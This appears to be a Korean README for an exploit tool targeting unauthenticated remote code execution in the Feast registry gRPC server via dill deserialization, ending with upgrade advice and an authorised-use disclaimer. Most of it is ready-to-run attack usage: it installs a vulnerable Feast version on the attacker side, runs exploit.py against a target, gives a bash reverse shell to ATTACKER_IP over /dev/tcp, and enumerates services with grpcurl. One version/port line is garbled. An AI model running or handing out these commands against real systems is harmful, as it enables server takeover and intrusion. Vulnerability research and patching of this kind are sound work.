
Feast 피처 스토어의 레지스트리 gRPC 서버에서 인증 없는 원격 코드 실행 취약점입니다.
ApplyFeatureView RPC는 요청 프로토(proto)에서 OnDemandFeatureView를 재구성합니다. 이 과정에서 spec.user_defined_function.body를 base64 디코딩하여 인증 검사 전에 **dill.loads()**로 전달합니다. dill은 pickle의 상위 집합이므로 __reduce__가 (os.system, (cmd,))을 반환하는 객체는 서버가 역직렬화하는 즉시 임의의 명령을 실행합니다. 기본 배포에는 auth: no_auth가 포함되어 있어 레지스트리 포트로 단일 인증 없는 gRPC 요청만으로 충분합니다.
< 0.63.00.63.06570 (레지스트리 gRPC)이 익스플로잇은 Feast 자체가 생성한 gRPC 프로토를 재사용하므로 공격자 측에 취약한 Feast를 설치하세요:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# quick check (output appears on the SERVER, not locally)
python3 exploit.py 10.10.10.10:6570 -c "id"
# reverse shell (bash -c wrapper: os.system uses /bin/sh, which lacks /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project는 프로젝트 이름을 설정합니다 (기본값 feature_repo). 명령 출력은 레지스트리 호스트의 stdout/journal에 출력되므로 결과를 확인하려면 리버스 셸을 사용하거나 읽을 수 있는 경로에 쓰세요.
레지스트리는 gRPC 리플렉션이 활성화되어 있습니다:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Feast **0.63.0+**로 업그레이드하고, 인증 백엔드를 활성화하며, 레지스트리 gRPC 포트를 신뢰할 수 없는 네트워크에 노출하지 마세요.
승인된 보안 테스트 및 교육용으로만 사용하세요. 소유한 시스템이나 명시적인 테스트 허가를 받은 시스템에만 사용하십시오.